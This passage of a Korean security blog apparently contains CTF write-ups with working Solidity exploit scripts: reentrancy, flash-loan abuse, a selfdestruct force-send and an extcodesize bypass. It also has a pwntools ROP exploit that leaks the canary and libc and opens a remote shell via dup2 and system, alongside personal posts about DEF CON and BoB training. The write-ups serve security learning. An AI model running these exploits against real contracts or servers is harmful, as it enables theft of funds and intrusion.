твХтвХтбХтб╡тб▒тб▒тбгтбУтбОтботбктггтвУтвХтбХтбптбзтбитбПтаЩталтб╢тгвтбдтгМтгИтвЙтвЙтаЛтаУтаЩтаЪта╣таЩтаЩтаЙтаЙтвЙтвАтгАтбатбдтб┤тбптбгтггтбгтб│тб▒твХтвХтвХтвЧтвЭтвЬтвОтвотбктбктбктблтбЭтбОтбЧтвЧтгЯтб╛тг╡тг╗тб╜тг╗тг║тб╜тб╜тбптб┐тб╡твЛтб╝тгОтвЧтвнтвгтблтбктгктв║тв╕тв▒твХтвХтвХтвЗтвзтв│тв╣тб╕тбктбктгУ
    */
        uint256 public solved;

    function solve() external {
        require(address(this).balance != 0);
        solved = 1;
    }
}

ethernaut의 Force문제랑 똑같다. payable함수가 없는 contract가 이더를 받게끔 하는 문제다. selfdestruct함수를 이용해서 해결할 수 있다. contract에 있는 이더를 지정한 주소에 전부 옮기고 contract를 비활성화시키는 함수이다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Force public target;

    function run() external {
        target = Force(0x0C27480e9110F62118c210dBB7791ec19e976591);
        vm.startBroadcast(0x570e18927231bee96d7a917a8154f050816d44879670fc819c031326c532224b);
        Ex ex = new Ex();
        ex.exploit{value: 1 ether}(target);
        target.solve();
        vm.stopBroadcast();
    }
}

contract Ex{
    function exploit(Force target) public payable {
        selfdestruct(payable(address(target)));
    }
}

Is Contract?

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

contract Is_contract {
    function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public solved = false;

    function callme() external {
        if (tx.origin != msg.sender) {
            require(!isContract(msg.sender), "no contract allowed");
            solved = true;
        }
    }
}

tx.origin과 msg.sender가 다르면서 msg.sender가 contract가 아니어야 한다. 따라서 새로운 contract를 만들어서 tx.origin과 msg.sender를 다르게 해준 후 해당 contract의 constructor에서 callme함수를 불러주면 msg.sender는 contract주소가 아닌 EOA의 주소가 되면서 조건을 만족시킬 수 있다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Is_contract public target;

    function run() external {
        target = Is_contract(payable(0x1d9E70672B3947c7F7088C20499e58D5F85F2C74));
        vm.startBroadcast(0x900122d3883b1ef8e1132af8531a8d3da09b33d60ec486ebb0c7b07ca34b3920);
        sender zz = new sender(target);
        vm.stopBroadcast();
    }
}

contract sender {
    constructor(Is_contract target){
        target.callme();
    }
}

ExchangeBank

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract WONa is ERC20, Ownable {
    constructor() ERC20("WONA", "WONA") Ownable(msg.sender) {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract WONb is ERC20, Ownable {
    constructor() ERC20("WONB", "WONB") Ownable(msg.sender) {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract ExchangeBank is Ownable, ReentrancyGuard {
    WONa public token1;
    WONb public token2;
    bool public solved;
    mapping(address => bool) public hasClaimedReward;

    constructor() Ownable(msg.sender) {
        token1 = new WONa();
        token2 = new WONb();
        token1.mint(address(this), 10000 ether);
        token2.mint(address(this), 10000 ether);
    }

    function claimInitialReward() external nonReentrant {
        require(!hasClaimedReward[tx.origin], "Reward already claimed");
        require(token1.balanceOf(address(this)) >= 10 ether, "Not enough tokens for reward");    
        hasClaimedReward[tx.origin] = true;
        require(token1.transfer(msg.sender, 10 ether), "Reward transfer failed");
    }

    function getPrice() public view returns (uint256) {
        uint256 token1Amount = token1.balanceOf(address(this));
        uint256 token2Amount = token2.balanceOf(address(this));
        require(token1Amount > 0 && token2Amount > 0, "Insufficient liquidity");
        return (token2Amount * 1 ether) / token1Amount;
    }

    function flashLoan(uint256 amount, bytes calldata data) public nonReentrant {
        uint256 balanceBefore = token1.balanceOf(address(this));
        require(balanceBefore >= amount, "Not enough tokens in pool");
        token1.transfer(msg.sender, amount);
        (bool success, ) = msg.sender.call(data);
        require(success, "Callback failed");
        uint256 balanceAfter = token1.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan not repaid");
    }

    function swap(uint256 amount) public {
        require(amount > 0, "Amount must be greater than 0");    
        require(token1.transferFrom(msg.sender, address(this), amount), "Transfer failed");
        uint256 price = getPrice();
        require(price > 0, "Price cannot be zero");
        uint256 swapAmount = (amount * price) / 1 ether;
        require(token2.transfer(msg.sender, swapAmount), "Payout transfer failed");
    }

    function solve() external {
        require(token2.balanceOf(msg.sender) >= 20 ether, "Need more token to solve");
        solved = true;
    }
}

WONa와 WONb token을 만들고 flashLoan함수에서 WONa를 빌리는 기능이, swap함수에서 보유중인 WONa를 WONb로 바꾸는 기능이 구현되어 있다. 그리고 ReetrancyGuard에 의해 재진입 공격은 불가능하다. claimInitialReward함수는 10 ether만큼 WONa token을 준다. 하지만 이 함수는 한번만 호출 가능하다. 그리고 solved를 true로 만들려면 WONb token이 20 ether만큼 있어야 한다. 재진입 공격은 불가능하지만 flashLoan함수에 대놓고 callback함수를 쓸 수 있게 해준다. 따라서 그냥 간단하게 flashLoan함수에서 WONa token을 빌린 후 callback함수에서 swap한 후 solve함수를 부르면 된다. swap과정에서 WONa token은 다시 회수되므로 callback호출이 끝난 후 빌린 WONa token이 정상적으로 상환되었는지 체크하는 flashLoan함수의 검증도 정상적으로 통과할 수 있다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    ExchangeBank public target;

    function run() external {
        target = ExchangeBank(payable(0x71937ce4F04EaC0d80fe3c0fc44c3fD8E0a109Fe));
        vm.startBroadcast(0xbb5cf2b7d8ad4f74fd92c63010fbba72602d10bbd6630a5cf8a67074a31bb6f9);
        Ex ex = new Ex();
        ex.exploit(target);
        vm.stopBroadcast();
    }
}

contract Ex{
    function zzlol(address target) public {
        ExchangeBank(target).token1().approve(target, 100 ether);
        target.call(abi.encodeWithSignature("swap(uint256)", 100 ether));
        target.call(abi.encodeWithSignature("solve()"));
    }
    function exploit(ExchangeBank target) public {
        bytes memory data = abi.encodeWithSignature("zzlol(address)", address(target));
        target.claimInitialReward();
        target.flashLoan(100 ether, data);
    }
}

SecureVault

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract GoldToken is Ownable {
    using Address for address;
    using Address for address payable;

    string public constant name = "Gold Token";
    string public constant symbol = "GOLD";
    uint8 public constant decimals = 18;

    event Approval(address indexed src, address indexed dst, uint256 amt);
    event Transfer(address indexed src, address indexed dst, uint256 amt);
    event Deposit(address indexed dst, uint256 amt);
    event Withdrawal(address indexed src, uint256 amt);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() Ownable(msg.sender) {}

    receive() external payable {
        revert("GOLD: Do not send ETH directly");
    }

    function deposit(address _userAddress) public payable onlyOwner {
        _mint(_userAddress, msg.value);
        emit Deposit(_userAddress, msg.value);
    }

    function withdraw(address _userAddress, uint256 _amount) public onlyOwner {
        payable(_userAddress).sendValue(_amount);
        _burn(_userAddress, _amount);
        emit Withdrawal(_userAddress, _amount);
    }

    function withdrawAll(address _userAddress) public onlyOwner {
        uint256 amount = balanceOf[_userAddress];
        payable(_userAddress).sendValue(amount);
        _burnAll(_userAddress);
        emit Withdrawal(_userAddress, amount);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address dst, uint256 amount) public returns (bool) {
        return transferFrom(msg.sender, dst, amount);
    }

    function transferFrom(address src, address dst, uint256 amount) public returns (bool) {
        require(balanceOf[src] >= amount, "Insufficient balance");
        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= amount, "Insufficient allowance");
            allowance[src][msg.sender] -= amount;
        }
        balanceOf[src] -= amount;
        balanceOf[dst] += amount;
        emit Transfer(src, dst, amount);
        return true;
    }

    function _mint(address dst, uint256 amount) internal {
        balanceOf[dst] += amount;
    }

    function _burn(address src, uint256 amount) internal {
        require(balanceOf[src] >= amount, "Insufficient balance");
        balanceOf[src] -= amount;
    }

    function _burnAll(address _userAddress) internal {
        _burn(_userAddress, balanceOf[_userAddress]);
    }
}

contract SecureVault is ReentrancyGuard {
    GoldToken public immutable goldToken;
    bool public solved;

    constructor() payable {
        goldToken = new GoldToken();
        goldToken.deposit{value: msg.value}(address(this));
    }

    function deposit() public payable nonReentrant {
        goldToken.deposit{value: msg.value}(msg.sender);
    }

    function withdraw(uint256 amount) public nonReentrant {
        goldToken.withdraw(msg.sender, amount);
    }

    function withdrawAll() public nonReentrant {
        goldToken.withdrawAll(msg.sender);
    }

    function solve() external {
        require(msg.sender.balance >= 50 ether);
        solved = true;
    }

    receive() external payable {}
}

GoldToken contract에 토큰 거래 시스템이 구현되어 있고 SecureVault contract에서는 ReentrancyGuard를 이용해서 재진입 공격을 방어하면서 안전하게 GoldToken contract의 기능을 사용한다. 얼핏 보면 재진입 공격으로부터 안전해보이지만 조금만 생각을 해보면 안전하지 않다는걸 알 수 있다.

일단 GoldToken contract의 transferFrom함수는 public으로 선언되어 있어서 외부에서 직접 호출할 수 있고 ReentrancyGuard가 걸려있지 않다. 그러면 withdrawAll을 부르고 fallback에서 transferFrom함수를 부른다면? sendValue로 이미 환전받은 상태에서 _burn으로 토큰이 소각되기 전에 다른 계좌로 토큰을 옮겨버릴 수 있으므로 돈 복사가 가능해진다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    SecureVault public target;

    function run() external {
        target = SecureVault(payable(0x2Ec4d9458f75264d83f442787c1DE87855bb20A1));
        vm.startBroadcast(0x4ea0a1a6c4dbfe2688fd166982c0f4885ebcdd1b526ccd04cb44ef0d5e56d972);
        Ex ex = new Ex();
        ex.exploit{value: 7 ether}(target);
        console.log(target.goldToken().balanceOf(address(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262)));
        target.withdraw(50 ether);
        target.solve();
        vm.stopBroadcast();
    }
}

contract Ex{
    SecureVault target;
    function exploit(SecureVault _target) public payable {
        target = _target;
        for(uint i = 0; i < 10; i++){
            target.deposit{value: 7 ether}();
            target.withdrawAll();
            console.log(target.goldToken().balanceOf(address(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262)));
        }
    }
    fallback() external payable {
        target.goldToken().transfer(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262, 7 ether);
    }
}

위 exploit을 실행하면 solved를 true로 만들 수 있다. 풀고나서 보니까 그냥 ReentrancyGuard없는 함수 이용해서 재진입 공격으로 돈복사하는 간단한 문제였는데 ReentrancyGuard에 낚여서 너무 오랫동안 잡고있었다.

Revhex

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Revhex {
    address public immutable target;
    bool public solved = false;

    constructor() {
        bytes memory code = hex"3d602d80600a3d3981f363ffffffff80600143034016903a1681146017576033fe5b5060006000f3";
        address child;
        assembly {
            child := create(0, add(code, 0x20), mload(code))
        }
        target = child;
    }

    function flag() external {
        (bool succ,) = target.call(hex"");
        assert(succ);
        solved = true;
    }

    function isSolved() public view returns (bool) {
        return solved;
    }
}

evm bytecode를 이용해서 contract를 생성한다. 해당 contract를 call했을때 정상적으로 실행되게끔 만들면 된다.

https://ethervm.io/decompile

Online Solidity Decompiler

ethervm.io

대충 구글링해보니까 evm bytecode를 디컴파일해주는 사이트가 있다. 들어가서 돌려보면

label_0000:
	// Inputs[3]
	// {
	//     @0000  returndata.length
	//     @0006  returndata.length
	//     @0009  memory[returndata.length:returndata.length + 0x2d]
	// }
	0000    3D  RETURNDATASIZE
	0001    60  PUSH1 0x2d
	0003    80  DUP1
	0004    60  PUSH1 0x0a
	0006    3D  RETURNDATASIZE
	0007    39  CODECOPY
	0008    81  DUP2
	0009    F3  *RETURN
	// Stack delta = +1
	// Outputs[3]
	// {
	//     @0000  stack[0] = returndata.length
	//     @0007  memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37]
	//     @0009  return memory[returndata.length:returndata.length + 0x2d];
	// }
	// Block terminates

	000A    63    PUSH4 0xffffffff
	000F    80    DUP1
	0010    60    PUSH1 0x01
	0012    43    NUMBER
	0013    03    SUB
	0014    40    BLOCKHASH
	0015    16    AND
	0016    90    SWAP1
	0017    3A    GASPRICE
	0018    16    AND
	0019    81    DUP2
	001A    14    EQ
	001B    60    PUSH1 0x17
	001D    57    *JUMPI
	001E    60    PUSH1 0x33
	0020    FE    *ASSERT
	0021    5B    JUMPDEST
	0022    50    POP
	0023    60    PUSH1 0x00
	0025    60    PUSH1 0x00
	0027    F3    *RETURN

디스어셈 결과는 요렇다. 직접 분석해도 금방 분석하는 적은 분량이긴 하지만 위 사이트는 디컴파일도 같이 해주기 때문에 굳이 생분석 할 필요가 없다.

contract Contract {
    function main() {
        var var0 = returndata.length;
        memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37];
        return memory[var0:var0 + 0x2d];
    }
}

디컴파일 결과는 이렇다. RETURN이 2개인거로 봐서 함수가 2개인거같고 디컴파일 결과는 첫번째 함수만 보여주는듯 했다. 이 함수는 딱히 의미없는거 같고 2번째 함수가 메인인거같아서 뒤에 부분을 따로 디컴파일 돌려봤다.

contract Contract {
    function main() {
        var var0 = block.blockHash(block.number - 0x01) & 0xffffffff;
    
        if (var0 == tx.gasprice & 0xffffffff) { return memory[0x00:0x00]; }
    
        var var1 = 0x33;
        assert();
    }
}

그렇다. 이 함수에서 조건이 안맞을 경우 assert를 내버리기 때문에 결국 blockhash랑 gasprice의 하위 32비트를 맞춰주면 문제가 풀리게 된다.

from web3 import Web3

w3 = Web3(Web3.HTTPProvider("http://ctf.adder.pe.kr:32924/cf715a16661b/rpc"))

privkey = "0x4eea094588adad7838617973c03555ab270c0ae24c68ada015f9549f99155271"
PA = w3.eth.account.from_key(privkey)
myAddr = PA.address

contract_address = "0x3498280c8DEf8f66c793F8f11087d7fe299A6263"
contract_abi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"flag","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"solved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"target","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

contract = w3.eth.contract(address=contract_address, abi=contract_abi)

func_call = contract.functions.flag().build_transaction({
    "from": myAddr,
    "gasPrice": int(w3.eth.get_block(w3.eth.block_number).hash.hex(), 16) & 0xffffffff,
    "nonce": w3.eth.get_transaction_count(myAddr),
    "chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, privkey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)

tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(tx_hash.hex())
print(tx_receipt)
print(contract.functions.solved().call())

최종 exploit 코드는 위와 같다. gasPrice는 EOA에서만 설정할 수 있어서 어쩔 수 없이 파이썬을 썼다.

2024년 5월 space WAR (Pwn) Write up + 후기

Sechack — Sun, 26 May 2024 22:44:24 +0900

저번에 씹트릭 문제 하나에 개털렸던걸 이번에 1등해서 만회했다. 그래프 보면 알겠지만 키핑하다가 중간에 못참고 인증했다. 끝까지 키핑할걸했나 ㅋㅋㅋㅋㅋㅋ

스벅 16만원 개꿀..:)

hard태그 붙은 두문제를 제외하곤 올클했다. 6개 풀고 시간이 애매한데 어차피 1등 확정이기도 해서 chatgpt_evm은 놀면서 설렁설렁 분석하다가 구조 파악 다 하고 샤워하고오니까 대회가 끝났다. chatgpt_evm은 시간만 주면 충분히 풀 수 있는 문제였고 secret file은 문제 열어보기만 하고 분석 5분정도밖에 안했는데 아마도 얘도 빡세게 잡으면 풀 수 있지 않았을까 싶다.

2024년 05월 Space WAR Pwn Write-UP.pdf

0.17MB

write up은 다시 쓰기 귀찮아서 제출할때 작성한 pdf로 대체한다.

spacechall.zip

0.09MB

문제가 궁금한 분들을 위해서 문제 파일도 올려두겠다.

I'm DEF CON CTF 32 Finalist

Sechack — Fri, 17 May 2024 13:13:22 +0900

이번 데프콘 예선 6등팀인 Cold Fusion으로 본선 간다. Cold Fusion은 cat :flag_kr: + PLUS + CyKor + Call of Duty + Haim + Defenit 뭐 대충 이렇게 연합된 국내 고수들이 모인 국내팀이다. 나는 cat :flag_kr:소속이다. 고등학교 졸업하기 전에 데프콘 본선 한번 가보고싶었는데 딱 고3일때 이런 기회가 생겨버렸다. 히히

마침 비오비도 수료한 상태라 비오비에서 지원도 해준다. 미국 기대된다.

일단 당연히 이런 개고수 팟에서 1인분을 하지는 못했다. 스스로도 1인분 했다고 생각하진 않는다. 하지만 기여한건 분명히 있다. com이라는 포너블 문제 다른분이 rip까지 따고 입력에 NULL 못넣어서 다들 고민하고 있던 와중 내가 아이디어 내고 플래그까지 땄다. 유의미한 기여를 했다. 다른 문제들은 열심히 봤지만 그닥 도움이 되진 못했다.

~~라고 생각하고 싶다. 기여를 한건 맞긴 한데 0.3인분.. 높게 쳐줘도 0.5인분 정도다. 그래도 체면은 살렸다...~~

그래도 본선가서 기분이 좋다. 미국 여행도 야무지게 하고 본선은 열심히 해서 꼭 1인분 이상 기여를 해야겠다.

BoB 12기 취약점분석트랙 Top30 수료 후기

Sechack — Fri, 17 May 2024 12:21:46 +0900

수료식 한지 두달이나 지났는데 이제야 블로그로 뒷북친다. ㅋㅋ 짧고 간단하게 쓰겠다.

공통교육

7월에 교육이 시작되면 가장먼저 하는 교육이다.

일단 밥트북부터 야무지게 받아주고..

공통교육은 2주정도 진행된다. 이때 다양한 사람들을 알게되고 같이 밥도 먹고 그랬다. 이때가 가장 재밌었던것 같다. 교육 내용은 모든 트랙의 내용들을 맛보기로 넓고 얕게 체험하는 느낌이었다. 그래도 과제는 은근 많았다. 이때가 가장 친목질하고 사람들 알아가기 좋을때니까 13기 이상 기수들에겐 공통교육때 다른 사람들과 친해지려는 노력을 많이 하는걸 추천한다.

위 스토리들은 친목의 흔적들이다.

트랙교육

공통교육이 끝나면 시작되는 본격적인 트랙 심화 교육이다. 이때부터 본격적인 비오비 시작이라고 보면 된다. 트랙교육부터 슬슬 사람이 갈려나가기 시작한다. 교육 내용은 나는 취약점 분석 트랙이었기 때문에 Fuzzer, 브라우저, 커널, 취약점을 찾는 방법론, 워게임 풀기, 웹 해킹 등의 내용이 있었다. 이때 가장 인상깊었던 과제가 하나 있었는데

바로 정광운멘토님의 리눅스 커널 1-day 익스 과제였다. 기간 넉넉해서 좀 미루다가 하려했는데 상준님이 하루였나 이틀이었나 때려박아서 성공한걸 보고 눈 돌아가서 바로 17시간동안 밥도 안먹고 잠도 안자고 빡집중한상태로 과제를 해냈다. 수많은 과제가 있었지만 이 과제가 가장 기억에 남는다.

아 그리고 또 기억에 남는게 있는데 정진호멘토님의 Bomblab이었다. 포너블 워게임이 80문제였나 있었고 트랙교육기간동안 푸는거였는데 이거 순위 올리는것도 꽤 재미있었다. arm어셈블리로 쉘코드 짜는 과제도 있었는데 크기 작을수록 점수 많이준다길래 이것도 꽤 긴 시간 투자해서 별의별 씹트릭 다써가면서 ks랑 길이경쟁했던것도 기억에 남는다. (결국 내가 짐 ㅋㅋ)

트랙교육 중간에 내 생일도 있었는데 원래 알던 사람들을 포함해서 비오비에서 새로 알게된 사람들이 많이 축하해주고 선물도 주고 밥도 사주고 그래서 생일을 생각보다 행복하게 보낼 수 있었다. 감사합니다!!

프로젝트

BoB의 꽃이자 메인 컨텐츠이다. 메인 컨텐츠인만큼 가장 힘들다. 우리 팀은 Windows Device Driver(걍 윈도우 커널 부수는거임)를 주제로 잡았는데 윈도우 OS자체에 내장된 드라이버인 Built-in드라이버와 안티바이러스(백신), 하드웨어 유틸리티 등 소프트웨어를 깔면 설치되는 드라이버인 3rd-party드라이버 이렇게 2개로 나눠서 봤다. Fuzzer개발쪽을 맡으신 분도 있다. Built-in드라이버는 윈도우 자체에 내장된 드라이버이기 때문에 취약점 가치가 매우 높다. 3rd-party는 상대적으로 취약점 가치가 Built-in에 비해 떨어진다. 나는 3rd-party에서 취약점을 양산해내는 역할을 했다.

프로젝트 기간동안 정신적으로든 육체적으로든 매우 힘들었지만 결과는 성공적이었다. 3rd-party쪽에서 100개정도의 취약점을 report했고 수십개의 CVE, KVE를 발급받았다. Built-in쪽에서도 좋은 성과가 나왔고 바운티를 받게 되었다. 찾은 취약점은 적지만 취약점의 가치로 밀어붙이는 전략과 찾은 취약점의 가치는 상대적으로 떨어지지만 취약점 개수로 밀어붙이는 전략 두가지를 전부 취할 수 있게 되면서 거의 완벽에 가까운 성과가 나오게 되었다. 아마 프로젝트 평가에선 압도적 1등이지 않았을까 싶다.

경연단계

경연단계는 교육과 프로젝트를 잘 수행한 30명을 따로 뽑아서 트랙교육보다 더더욱 심화적인 교육을 시키는 단계이다. 30명정도를 뽑아서 Top30이라고도 불리는데 이번에는 39명을 뽑았다. 공통, 트랙교육동안 아무도 수행하지 못한 과제 하나를 제외하곤 과제도 올클이었고 프로젝트 성과도 매우 잘뽑힌 상황이라 경연단계 진출은 당연하다고 생각했었고 여기서만 잘하면 Best 10에 무난하게 뽑힐 수 있었다.

하지만 이미 프젝때 탈탈 털린 정신상태로 인해 경연단계 시작할때 내 정신상태는 정상이 아니었고 거기다가 자존감 바닥 + 우울감 이슈까지 겹쳐서 경연단계 과제 대부분을 드롭하는 사태가 발생했다.

그래도 과제 절반? 2/5? 정도는 제출을 했어서 Best10은 바라지도 않고 Whitehat10정도에는 선발되지 않을까 하는 기대감이 약간 있었는데 어림도 없었다.

수료

결국 은으로 수료를 마치게 되었다. 그냥 수료가 동이고 경연단계 진출자나 Whitehat10이 은이고 Best10이 금이다.

수료식날 비오비 분들이랑 사진도 찍었다. 우리 프젝팀이랑도 찍었어야 했는데 내가 학교때문에 늦게가서 나빼고 찍으셨다. ㅋㅋ

결론

BoB는 건강과 실력을 맞바꾸는 프로그램이다. 물론 난 매우매우 건강하고 강력한 신체를 보유중이기에 잠 못자서 클 키 못큰건 있을지 몰라도 신체건강에 타격은 없었고 정신건강에만 타격이 있었다. 나같은 건강한 신체를 보유한 사람들만 비오비 하길 바란다. 물론 Best10같은거 욕심 없이 적당히 자기 하고싶은것만 하면 편하긴 하다.

포너블 로되리안을 해결하는 개쩌는 방법

Sechack — Sat, 4 May 2024 00:04:52 +0900

포너블을 주분야로 하는 포너라면 누구나 공감하는 개빡치는 순간이 있다. 바로 로컬에서 exploit에 성공했는데 remote에서는 실패할때다. 이런 개빡치는 상황을 로컬에선 되고 리모트에선 안된다는 의미로 '로되리안' 이라고 한다. 포너라면 입에 달고사는 말일거다.

https://dreamhack.io/wargame/challenges/969

나랏말싸미 악용하기

설명 나랏말싸미... 듕귁에달아... 한글날을 기념하기 위해서 출제된 문제입니다. 한글로 작성한 멋진 시를 공유해주세요! 해당 문제의 실행파일은 나랏말싸미와 동일하며 플래그 형식은 DH{...}

dreamhack.io

사건의 발단은 위 문제이다.

일단 이 문제를 데프콘 뛰기전에 워밍업 하자는 가벼운 마음으로 잡았다. 익스 자체는 적당히 재밌게 했는데 로컬 따고 싱글벙글하게 remote날렸는데 익스가 안된다. 한두번 겪는 로되리안이 아니라서 이때까진 가벼운 마음으로 로되리안 해결을 하려 했는데.. 지금까지 쌓인 내공과 경험치를 총동원해도 해결이 안되는거였다.. 문제에서 준 Dockerfile을 그대로 빌드해도 안에서 프로세스로 실행할때랑 외부에서 접속요청 와서 socat으로 실행될때랑 heap layout도 달라지는 내 상식선에선 도무지 이해할 수 없는 일이 발생했다. libc가 같은데 도대체 heap layout이 왜 달라지는가!!

아무튼 단순히 주어진 Dockerfile build해서 빼온 libc가지고 offset만 맞춰서 해결할 수 있는 로되리안이 아니라 진짜 서버랑 실행 환경을 개똑같이 하고 테스트를 해야하는 상황이었다. Docker안에 gdb설치하자니 libc가 바뀌고 LD_PRELOAD를 쓰자니 이것도 억지로 libc끼우는거라 환경이 달라진다. 즉 문제에서 제공한 Dockerfile을 그대로 빌드해서 nc로 붙었을때 실행되는 바이너리를 디버깅해야만 한다는 말인데.. 이게 상식적으로 가능한가..?

놀랍게도 가능했다. host에서 Docker컨테이너 내부의 프로세스에 디버거를 붙일수가 있다.

nc로 접속하면 바이너리가 실행될거고

띠용..? host에서 ps -ef해보면 Docker내부에서 socat으로 실행해준 프로세스의 pid가 보인다.

디버거도 붙는다. Docker컨테이너가 host랑 커널을 공유하기 때문에 가능한 행위 같다.

별거아닌 내용을 제목으로 어그로를 끌었지만 지금까지 이거 모르고 Docker빌드해서 안에 gdb설치하고 LD_PRELOAD쓰고 로더 패치하고 하면서 로되리안 해결을 하던 포너들은 이거 보고 앞으로 로되리안으로 고통받는 일이 없길 바란다.

드림핵 1등

Sechack — Tue, 12 Mar 2024 08:59:35 +0900

잠시마나 1등을 찍어봅니다. ㅋㅋ 티어가 그랜드마스터까지 있는데 그마는 지금실력으로는 못갈듯..

2024년 1월 space WAR (Pwn) Write up + 후기

Sechack — Sun, 28 Jan 2024 19:23:30 +0900

음.. hspace톡방에 이런게 올라왔다. 포너블 안한지 꽤 오래되긴 했지만 1등이 스벅 15만원이고 한문제라도 풀면 만원이 거저 들어오기 때문에 안할 이유가 없었다. 오랫동안 포너블 안해서 죽은 감도 살리면서 돈도 얻자는 마인드로 했다.

솔직히 풀타임으로 하면 1등 그냥 할줄 알았는데 사진 보면 개망했다는걸 알 수 있다. 처음부터 순조롭게 밀다가 Unsafe Calculator라는 개씹트릭 문제를 만나고 저 문제에 6시간 이상 박으면서 다른 문제를 볼 시간이 삭제되었다. Unsafe Calcuator를 결국 풀긴 했는데...

사진에서 보이다시피 끝나기 10분전에 깨닫고 푼거다. 끝나고 msh1307 이친구 write up을 보니까 VMUprotect도 쉬운 vm문제였고 qwerty님한테 물어보니까 Pormat String Bug도 python이 섞여들어가긴 했지만 본질은 그냥 간단한 fsb였다. chachacha도 top chunk보다 큰거 할당하면 free chunk가 생기는거 이용해서 aaw만들면 되는 힙문제였고.. 얘는 실제로 대회 끝나고 풀어봤다. Unsafe Calculator를 안보고 다른 문제로 탈주했으면 2문제정도는 더 풀 수 있었을텐데 조금 아쉬웠다.

HSpace Satellite(1, 2)

두개의 바이너리는 비슷하다. 일단 1에서는

대충 이런 느낌의 누가봐도 popen을 악용할 수 있어보이는 함수랑

bof를 3번 할 수 있는 함수가 주어진다. 2에서는 popen은 삭제되고 bof만 남아있다. popen으로 푸는게 easy난이도고 bof로 푸는게 medium난이도였는데 나는 bof보자마자 popen제껴두고 bof만 조져서 1, 2전부 같은 익스로 날먹할 수 있었다. 버퍼에 입력을 받고 strlen으로 길이를 구해서 그만큼 버퍼를 출력해준다. canary의 null byte를 하나 덮으면 canary leak도 되고 입력 길이를 적절히 조정하면 스택에 남아있는 쓰레기값을 leak할 수 있다. 디버깅하기 귀찮아서 대충 손으로 8바이트씩 인풋 길이 조지면서 어떤주소 릭되나 손퍼징했는데 _rtld_global이 leak되길래 그거 가지고 libc구해서 rop해줬다.

from pwn import *

off = 0

for i in range(0x272):
    r = remote("3.34.190.217", 8001)

    r.sendline(b"\xee 1")
    sleep(0.1)
    r.sendline(b"\x04 1")
    sleep(0.1)
    r.send(b"a"*0x200)
    r.recvuntil(b"a"*0x200)

    ld_leak = u64(r.recv(6).ljust(8, b"\x00"))
    libc_base = ld_leak - 0x272040 + off
    system = libc_base + 0x50d70
    dup2 = libc_base + 0x115010
    binsh = libc_base + 0x1d8678
    pop_rdi = libc_base + 0x2a3e5
    pop_rsi = libc_base + 0x2be51
    log.info(hex(libc_base))

    r.send(b"a"*0x209)
    r.recvuntil(b"a"*0x209)

    canary = u64(r.recv(7).rjust(8, b"\x00"))
    log.info(hex(canary))
    try:
        r.send(b"a"*0x208+p64(canary)+p64(0)+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(0)+p64(dup2)+p64(pop_rdi)+p64(binsh)+p64(system))
        sleep(0.1)
        r.sendline("id >& 4")
        r.recvuntil("uid")
        r.interactive()
        break
    except:
        r.close()
    if not i&1:
        off += 0x1000
    off *= -1
    log.info(hex(off))

tcp/ip로 구현된 서버를 exploit하는거라 그냥 /bin/sh를 하면 입출력을 못보낸다. 따라서 rop chain에 dup2를 추가해줘서 표준 입력을 디스크립터 4로 돌려줬다. 이러면 셸따고 입력 가능하고 셸에서 id >& 4이런식으로 명령어를 디스크립터로 리다이렉션 시키면 실행 결과를 우리가 볼 수 있게 된다. 그리고 ld base랑 libc base간의 offset도 당연히 로컬과 다르고 이거는 +-0x1000 brute force로 쉽게 찾을 수 있다.

포트만 바꾸면 두개 다 잘 따이는걸 볼 수 있다.

Safe Calculator

C로 계산기를 구현한 문제인데

__int64 __fastcall sub_1834(unsigned int *a1)
{
